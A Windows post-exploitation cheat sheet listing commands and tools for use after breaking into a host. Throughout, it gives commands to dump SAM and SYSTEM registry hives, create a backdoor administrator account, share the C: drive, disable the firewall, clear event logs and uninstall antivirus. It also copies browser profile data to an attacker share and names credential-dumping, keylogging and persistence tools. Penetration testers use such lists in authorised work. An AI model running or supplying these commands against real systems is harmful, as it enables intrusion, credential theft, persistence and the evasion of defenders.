Windows Post-Exploitation Command List

Table of Contents

Blind Files

(things to pull when all you can do is blindly read) LFI/dir traversal. Files that will have the same name across networks / windows domains / systems.

File	Expected Contents / Description
%SYSTEMDRIVE%\boot.ini	A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening.
%WINDIR%\win.ini	This is another file to look for if boot.ini isn't there or coming back, which is some times the case
>insert new rows above this line<	**SEE IMPORTANT FILES SECTION FOR MORE IDEAS**

System

Command	Expected Output or Description
whoami	Lists your current user. Not present in all versions of Windows; however shall be present in Windows NT 6.0-6.1.
whoami /all	Lists current user, sid, groups current user is a member of and their sids as well as current privilege level.
set	Shows all current environmental variables. Specific ones to look for are USERDOMAIN, USERNAME, USERPROFILE, HOMEPATH, LOGONSERVER, COMPUTERNAME, APPDATA, and ALLUSERPROFILE
systeminfo	Outputs a large amount of data about the sytem, including hostname, domain, logon server, time zone, network interface config, and hotfixes installed
qwinsta	Displaying information about RDP sessions. / CONNECT can be added, but usually not needed to gain the information you need.
qprocess *	Much like tasklist, but a bit easier to read. It has username, login method, session id, pid, and binary name.

at	Shows currently scheduled tasks via ‘at’. Even though schtasks is the new way of doing things admin wise, pentesters can still use ‘at’ to get system level shells even through Win7x64 systems.
schtasks	Lists all the currently scheduled tasks that your current user has access to see. This is the big deviation from ‘at’. Each user can have their own scheduled tasks now.
schtasks /query /fo csv /v > %TEMP%	Outputs the list of services in verbose csv format. Good for throwing in temp and pulling down for a more closer look.
net start OR sc	Lists services
-> sc getkeyname “XXXXX”	You can use the name you got from ‘net start’ to get the ‘key name’ of the service you want more information on.
--> sc queryex “XXXXX”	Using the keyname you achieved from ‘getkeyname’, you can query the status, pid and other information about the service.
net config workstation	This will display information such as NetBIOS name, the full computer name, Username (of the user executing this command), Domain, Workgroups, and more.
net time	
net file	
net session	
net use	Used to map network shares, such as C:\ drives.
tasklist	Is equivalent to using Taskmanager, though visible as console output instead with PID’s too.
tasklist /m or tasklist /m blah.dll	Lists all of the ‘modules’ (binary (exe, dll, com or any other PE based code that was executed) for each process, or if a module is specified then tasklist will only list the processes with that specific module running. Great for finding processes running crypto or other specific function dlls

tasklist /svc	Lists processes and their accompanying service keyname if they are parented by a service
taskkill [/f] /pid <pid> taskkill [/f] /im <image_name>	Kill processes by name or pid (with force option)
fsutil fsinfo drives	

Networking (ipconfig, netstat, net)

Command	**Expected Output or Description**
ipconfig /all	
ipconfig /displaydns	
netstat -bano	
netstat -s -p [tcp|udp|icpm|ip]	
netstat -r	
netstat -na | findstr :445	
netstat -nao | findstr LISTENING	XP and up for -o flag to get PID
netstat -nao | findstr LISTENING	XP and up for -o flag to get PID
netstat -na | findstr LISTENING	
netsh diag show all	
net view	
net view /domain	
net view /domain:otherdomain	
net user hacker hacker /add /domain	adds a user to the current domain (invasive)
net user %USERNAME% /domain	Pulls information on the current user, if they are a domain user. If you are a local user then you just drop the /domain. Important things to note are login times, last time changed password, logon scripts, and group membership
net user /domain	Lists all of the domain users
net user username /active:yes /domain	Changes an inactive / disabled account to active (invasive)
net accounts	Prints the password policy for the local system.

	This can be different and superseded by the domain policy.
net accounts /domain	Prints the password policy for the domain
net localgroup administrators	Prints the members of the Administrators local group
net localgroup administrators /domain	as this was supposed to use localgroup & domain, this actually another way of getting *current* domain admins
net group “Domain Admins” /domain	Prints the members of the Domain Admins group
net group “Enterprise Admins” /domain	Prints the members of the Enterprise Admins group
net group “Domain Controllers” /domain	Prints the list of Domain Controllers for the current domain
nbtstat -a [ip here]	
net share	
net session | find / “\\”	
arp -a	Lists all the systems currently in the machine’s ARP table.
route print	Prints the machine’s routing table. This can be good for finding other networks and static routes that have been put in place
browstat	

- http://www.securityaegis.com/ntsd-backdoor/

Configs

Command	**Expected Output or Description**
gpresult /z	Extremely verbose output of GPO (Group policy) settings as applied to the current system and user
sc qc	
sc query	

sc queryex	
type %WINDIR%\System32\drivers\etc\hosts	Print the contents of the Windows hosts file
dir %PROGRAMFILES%	Prints a diretory listing of the Program Files directory.
echo %COMPEC%	Usually going to be cmd.exe in the Windows directory, but it's good to know for sure.

Finding Important Files

- tree C:\ /f /a > C:\outputoftree.txt
- dir /a
- dir /b /s [Directory -- filename]
- Command |find /c /v “”
- dir \ /s /b | find /I “searchstring” (searches entire directory structure for searchstring as filename)

Files To Pull (if possible)

- %SYSTEMDRIVE%\pagefile.sys (Huge, but includes memory data)
- %WINDIR%\debug\NetSetup.log
- %WINDIR%\repair\sam
- %WINDIR%\repair\system
- %WINDIR%\repair\software
- %WINDIR%\repair\security
- %WINDIR%\iis6.log (5, 6 or 7)
- %WINDIR%\system32\logfiles\httperr\httperr1.log
- %WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log (year month day)
- %WINDIR%\system32\config\AppEvent.Evt
- %WINDIR%\system32\config\SecEvent.Evt
- %WINDIR%\system32\config\default.sav
- %WINDIR%\system32\config\security.sav
- %WINDIR%\system32\config\software.sav
- %WINDIR%\system32\config\system.sav
- %WINDIR%\system32\CCM\logs*.log
- %USERPROFILE%\ntuser.dat
- %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
- %WINDIR%\System32\drivers\etc\hosts

Remote System Access

- net share \\computername
- tasklist /V /S computername

- qwinsta /SERVER:computername
- qprocess /SERVER:computername *
- net use \\computername (maps IPC$ which does not show up as a drive)
- net use \\computername /user:DOMAINNAME\username password
    - (maps IPC$ under another username)
- net time \\computername (Shows the time of target computer)
- dir \\computername\share_or_admin_share\ (dir list a remote directory)
- tasklist /V /S computername
    - Lists tasks w/users running those tasks on a remote system. This will remove any IPC$ connection after it is done so if you are using another user, you need to re-initiate the IPC$ mount

Auto-Start Directories

- ver (Returns kernel version - like uname on *nix)

Windows NT 6.1, 6.0	%SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
Windows NT 5.2, 5.1, 5,0	%SystemDrive%\Documents And Settings\All Users\Start Menu\Programs\StartUp\
Windows 9x	%SystemDrive%\WINDOWS\Start Menu\Programs\StartUp\
Windows NT 4.0, 3.51, 3.50	%SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\StartUp\

WMI

- wmic bios
- wmic qfe
- wmic qfe get hotfixid (This gets patches IDs)
- wmic startup
- wmic service
- wmic os
- wmic process get caption,executablepath,commandline
- wmic process call create “process_name” (executes a program)
- wmic process where name=”process_name” call terminate (terminates program)
- wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber (hard drive information)
- wmic useraccount (usernames, sid, and various security related goodies)
- wmic useraccount get /ALL
- wmic share get /ALL (you can use ? for gets help !)
- wmic startup list full (this can be a huge list!!!)
- wmic /node:"hostname" bios get serialnumber (this can be great for finding warranty info about

target)

Reg Command

- reg save HKLM\Security security.hive (Save security hive to a file)
- reg save HKLM\System system.hive (Save system hive to a file)
- reg save HKLM\SAM sam.hive (Save sam to a file)=
- reg add [\\TargetIPaddr\] [RegDomain][\Key]
- reg export [RegDomain]\[Key] [FileName]
- reg import [FileName]
- reg query [\\TargetIPaddr\] [RegDomain]\[Key] /v [Valuename!] (you can to add /s for recurse all values)

Deleting Logs

- wevtutil el (list logs)
- wevtutil cl <LogName> (Clear specific log)
- del %WINDIR%*.log /a /s /q /f

Uninstalling Software “AntiVirus” (Non interactive)

- wmic product get name /value (this gets software names)
- wmic product where name="XXX" call uninstall /Interactive:Off (this uninstalls software)

Other (to be sorted)

- pkgmgr usefull /iu :”Package”
- pkgmgr usefull /iu :”TelnetServer” (Install Telnet Service ...)
- pkgmgr /iu:”TelnetClient” (Client)
- rundll32.exe user32.dll, LockWorkStation (locks the screen -invasive-)
- wscript.exe <script js/vbs>
- cscript.exe <script js/vbs/c#>
- xcopy /C /S %appdata%\Mozilla\Firefox\Profiles*.sqlite \\your_box\firefox_funstuff

OS SPECIFIC

Win2k3

- winpop stat domainname

Vista/7

- winstat features
- wbadmin get status
- wbadmin get items
- gpresult /H gpols.htm
- bcdedit /export <filename>

Invasive or Altering Commands

These commands change things on the target and can lead to getting detected

Command	Description
net user hacker hacker /add	Creats a new local (to the victim) user called ‘hacker’ with the password of ‘hacker’
net localgroup administrators /add hacker	Adds the new user ‘hacker’ to the local administrators group
net share nothing$=C:\ /grant:hacker,FULL / unlimited	Shares the C drive (you can specify any drive) out as a Windows share and grants the user ‘hacker’ full rights to access, or modify anything on that drive. One thing to note is that in newer (will have to lock up exactly when, I believe since XP SP2) windows versions, share permissions and file permissions are separated. Since we added our selves as a local admin this isn’t a problem but it is something to keep in mind
netsh firewall set opmode disable	Disables the local windows firewall
netsh firewall set opmode enable	Enables the local windows firewall. If rules are not in place for your connection, this could cause you to loose it.

Support Tools Binaries / Links / Usage

Command	Link to download	Description

Third Party Portable Tools

(must be contained in a single executable)

REMEMBER: DO NOT RUN BINARIES YOU HAVE NOT VETTED - BINARIES BELOW ARE NOT BEING VOUCHED FOR IN ANY WAY AS THIS DOCUMENT CAN BE EDITED BY ANYONE

Command	Link to download	Description
carrot.exe /im /ie /ff /gc /wlan / vnc /ps /np /mp /dialup /pwdump	http://h.ackack.net/carrot-exe.html	-invasive- Recovers a bunch passwords.
	http://www.tarasco.org/security/pwdump_7/	-invasive- Dumps Windows NT/LM hashes. Holds the credentials for all accounts.
	http://www.nirsoft.net/utils/nircmd.html	A collection of small nifty features.
wce.exe	http://www.ampliasecurity.com/research/wce_v1_2.tgz	Pull NTLM hashes from login sessions out of memory, steal kerberos tickets from active processes and apply them to others.

(Page break just so we can have the straight up cmds on their own)

Meterpreter Commands

ps	(show running processes and their associated users/id numbers)
getuid	
getpid	
getprivs	(shows current privileges)
getsystem	Attempts to get SYSTEM using 4 methods, the last being a local exploit called Kitrap0d. This can sometimes be caught by host based IDS systems and even in rare occasions blue screen the machine.
getsystem - (place holder for targetd getsys)	If anyone wants to fill this in before I can please do
sysinfo	
timestomp	Remove/screw up timestamps if you are good enough this messes up audit tools
clearev	Clear A
hashdump	dump SAM file hashes for pass the hash or cracking

migrate [pid]	Move from exploited process into another process

Useful Meterpreter Scripts

- killav.rb (Meterpreter script that kills all Antivirus processes.)
- winenum.rb (Retrieves all kinds of information about the system including environment variables, network interfaces, print_line "routing, user accounts, and much more.)
- scraper.rb (harvest system info including network shares, registry hives and password hashes.)
- persistence.rb (Meterpreter Script for creating a persistent backdoor on a target host.)
- keylogrecorder.rb (This script will start the Meterpreter Keylogger and save all keys.)
- getgui.rb (Windows Remote Desktop Enabler Meterpreter Script.)
- For a complete list please see: http://metasploit.com/svn/framework3/trunk/scripts/meterpreter/

Useful Meterpreter Post Modules

- post/windows/gather/smart_hashdump
- post/windows/gather/credentials/vnc
- post/windows/escalate/bypassuac (mixed results)

Useful Multi-Step Techniques

- “Pass The Hash” attack (Gain access to other computers with stolen hashes, no cracking involved)
- Token impersonation via incognito